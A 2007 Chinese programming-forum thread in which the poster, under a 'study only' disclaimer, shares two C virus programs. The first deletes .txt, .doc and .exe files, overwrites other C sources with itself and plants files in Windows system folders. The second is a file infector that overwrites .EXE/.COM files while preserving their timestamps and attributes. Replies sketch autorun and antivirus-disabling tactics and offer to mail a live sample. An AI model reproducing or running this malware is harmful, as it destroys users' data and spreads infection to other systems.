| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 5546 人关注过本帖
标题:[讨论]C病毒代码(声明:不能去害人,只能研究技术!)
取消只看楼主 加入收藏
fengyun5_1
Rank: 1
等 级:新手上路
帖 子:41
专家分:0
注 册:2007-4-7
收藏
 问题点数:0 回复次数:3 
[讨论]C病毒代码(声明:不能去害人,只能研究技术!)

#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
FILE *in,*out;

in = fopen(infile,"r");
out = fopen(outfile,"w");

while (!feof(in))
{
fputc(fgetc(in),out);
}

fclose(in);
fclose(out);
}
//This function named Rubbishmaker(垃圾制造者).//
void MakeRubbish()
{
int i;
FILE *fp;
char *path;
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"};
char *addtion = ":\\";
/* Make some rubbish at the current catalogue */
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX" ;
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
/* make some rubbish at the root catalogue */
path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
chdir(path); /*change directory according to the "path" */

for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX";
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}

}
/*This function can creat some .exe or .com documents in the sensitive place.Don't worry,It's only a joke.It will do no harm to your computer.*/

void CreatEXE()
{
int i;
char *path;
char * s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};
for ( i = 0; i < 2; i++)
{
open(s[i], 0x0100,0x0080);
copyfile( "C_KILLER.C",s[i]);
}
}
/* remove something from your computer */
void Remove()
{

int done;
int i;

struct ffblk ffblk;
char *documenttype[3] = {"*.txt","*.doc","*.exe"};
for (i = 0; i < 3; i++)
{
done = findfirst(documenttype[i],&ffblk,2);
while (!done)
{
remove(ffblk.ff_name);
done = findnext(&ffblk);
}
}
}


/* overlay the c programs */
void Breed()
{

int done;
struct ffblk ffblk;

done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}

}


void main()
{

printf("THERE IS A VIRUS BY XIAOKE.\n\n");

Breed();
Remove();
CreatEXE();


printf("COULD YOU TELL ME YOUR NAME?\n\n");
printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");

MakeRubbish();
getchar();
printf("IT'S ONLY A JOKE! THANK YOU!\n\n");

clrscr();
system("cmd");
}

搜索更多相关主题的帖子: 声明 技术 代码 害人 研究 
2007-08-20 04:33
fengyun5_1
Rank: 1
等 级:新手上路
帖 子:41
专家分:0
注 册:2007-4-7
收藏
得分:0 

各位说的是,在下只是拿了一个稍带病毒性质的这么一段小程序而已!
各位如是有高见,发邮箱到fengyun5e1@163.com
至少也让我知道知道自己“弱”在哪里!


为了找到王子,你必须要和很多只青蛙接吻!
2007-08-21 22:30
fengyun5_1
Rank: 1
等 级:新手上路
帖 子:41
专家分:0
注 册:2007-4-7
收藏
得分:0 

啊,责任在我,是我的错,不好意思!(在下没说清楚啊!)
我十月一的时候(大概要到10.3或10.4号吧),在贴出我另外搜到的一个C病毒代码吧!(到时,我把注释也写上!)
其实,我不可能(甚至也不太会--技术不够啊!)把病毒传播的语句写上(我们只是研究C语句嘛!这只是一个话题,并不是真的要编病毒,更不应该有那种想法啊!)
请大家出言互敬!
不管您有多高的水平,请不要说那些言语来打击我们啊!
技术互助,共同进步!


为了找到王子,你必须要和很多只青蛙接吻!
2007-09-15 09:39
fengyun5_1
Rank: 1
等 级:新手上路
帖 子:41
专家分:0
注 册:2007-4-7
收藏
得分:0 

在下是搂主!
以前不是在开玩笑,希望大家多说代码,少说无用的话!谢谢各位!
/* the code came from Internet,
translated by me(fengyun5e1@163.com)
maybe there are some mistakes in it,
please correct it and do some good code on the
passage(I think it is much better to talk something unusually!)
Thank you very much!
*/
/* C病毒有很多种,这是一个嵌入式病毒的典型例子,其一般规律是:
一般有两个文件,一个是autorun.inf,另一个就是病毒程序了(用C编就可以了)
NO.1 复制自己,感染其他文件——见下面的code
NO.2 加载到启动组,这个VB最容易做到!
NO.3 网络等等
NO.4 还有,破坏之类... 当然最主要的还是先PK掉杀毒软件!——今天我就碰到一个病毒,还真厉害,他先修改我的系统时间,使kaba报告“注册时间有误”,失去作用,接着kaba 就came over!了(对了,还有我把这个病毒收藏起来了,他有两个文件autorun.inf和edveokw.exe,前一个文件大家都知道,就不说了,后一个谁想要我给你邮过去!我本打算找个反编译软件,可是没有啊!要是谁有,我们可以一起来整一整这个程序啊!呵呵,还是那句话,为了学习啊!)
(我就会这么多了,剩下的谁知道,就轮到您说吧!)


#include "stdio.h"
#include "string.h"
#include "dos.h"
#include "io.h"
#include "stdlib.h"
void hostile_activity(void); // a function which to destroy
int infected(char *); //check the file to see if it was injected
void spread(char *, char *); //do the function of spreading
void small_print(char *); //other functions
char *victim(void);
#define DEBUG
#define ONE_KAY 1024
#define TOO_SMALL ((6 * ONE_KAY) + 300) //define the smallest files
#define SIGNATURE "NMAN" // Sign of infection
int main(void)
{
/* The main program */
spread(_argv[0], victim()); // Perform infection
small_print("Out of memory\r\n"); // Print phony error
return(1); // Fake failure...
}
void hostile_activity(void)
{
/* Put whatever you feel like doing here...I chose to
make this part harmless, but if you're feeling
nasty, go ahead and have some fun... */
small_print("\a\a\aAll files infected. Mission complete.\r\n");
exit(2);
}
int infected(char *fname)
{
/* This function determines if fname is infected */
FILE *fp; // File handle
char sig[5]; // Virus signature
fp = fopen(fname, "rb");
fseek(fp, 28L, SEEK_SET);
fread(sig, sizeof(sig) - 1, 1, fp);
#ifdef DEBUG
printf("Signature for %s: %s\n", fname, sig);
#endif
fclose(fp);
return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
}
void small_print(char *string) I don't know This function !
{/* This function is a small, quick print routine */ I think ....
asm {
push si
mov si,string
mov ah,0xE
}
print: asm {
lodsb
or al,al
je finish
int 0x10
jmp short print
}
finish: asm pop si
}
void spread(char *old_name, char *new_name)
{/* This function infects new_name with old_name */
/* Variable declarations */
FILE *old, *new; // File handles
struct ftime file_time; // Old file date,
time
int attrib; // Old attributes
long old_size, virus_size; // Sizes of files
char *virus_code = NULL; // Pointer to virus
int old_handle, new_handle; // Handles for files
/* Perform the infection */
#ifdef DEBUG
printf("Infecting %s with %s...\n", new_name, old_name);
#endif
old = fopen(old_name, "rb"); // Open virus
new = fopen(new_name, "rb"); // Open victim
old_handle = fileno(old); // Get file handles
new_handle = fileno(new);
old_size = filelength(new_handle); // Get old file size
virus_size = filelength(old_handle); // Get virus size
attrib = _chmod(new_name, 0); // Get old attributes
getftime(new_handle, &file_time); // Get old file time
fclose(new); // Close the virusee
_chmod(new_name, 1, 0); // Clear any read-only
unlink(new_name); // Erase old file
new = fopen(new_name, "wb"); // Open new virus
new_handle = fileno(new);
virus_code = malloc(virus_size); // Allocate space
fread(virus_code, virus_size, 1, old); // Read virus from old
fwrite(virus_code, virus_size, 1, new); // Copy virus to new
_chmod(new_name, 1, attrib); // Replace attributes
chsize(new_handle, old_size); // Replace old size
setftime(new_handle, &file_time); // Replace old time
/* Clean up */
fcloseall(); // Close files
free(virus_code); // Free memory
}
char *victim(void)
{
/* This function returns the virus's next victim */
/* Variable declarations */
char *types[] = {"*.EXE", "*.COM"}; // Potential victims
static struct ffblk ffblk; // DOS file block
int done; // Indicates finish
int index; // Used for loop
/* Find our victim */
if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
return(_argv[1]);
for (index = 0; index < sizeof(types); index++) {
done = findfirst(types[index], &ffblk, FA_RDONLY | FA_HIDDEN |
FA_SYSTEM | FA_ARCH);
while (!done) {
#ifdef DEBUG
printf("Scanning %s...\n", ffblk.ff_name);
#endif
/* If you want to check for specific days of the week,
months, etc., here is the place to insert the
code (don't forget to "#include "!) */
if ((!infected(ffblk.ff_name)) && (ffblk.ff_fsize >
TOO_SMALL))
return(ffblk.ff_name);
done = findnext(&ffblk);
}
}
/* If there are no files left to infect, have a little fun... */
hostile_activity();
return(0); // Prevents warning
我是黔驴技穷了,看各位的了!


为了找到王子,你必须要和很多只青蛙接吻!
2007-10-04 11:19
快速回复:[讨论]C病毒代码(声明:不能去害人,只能研究技术!)
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.017031 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved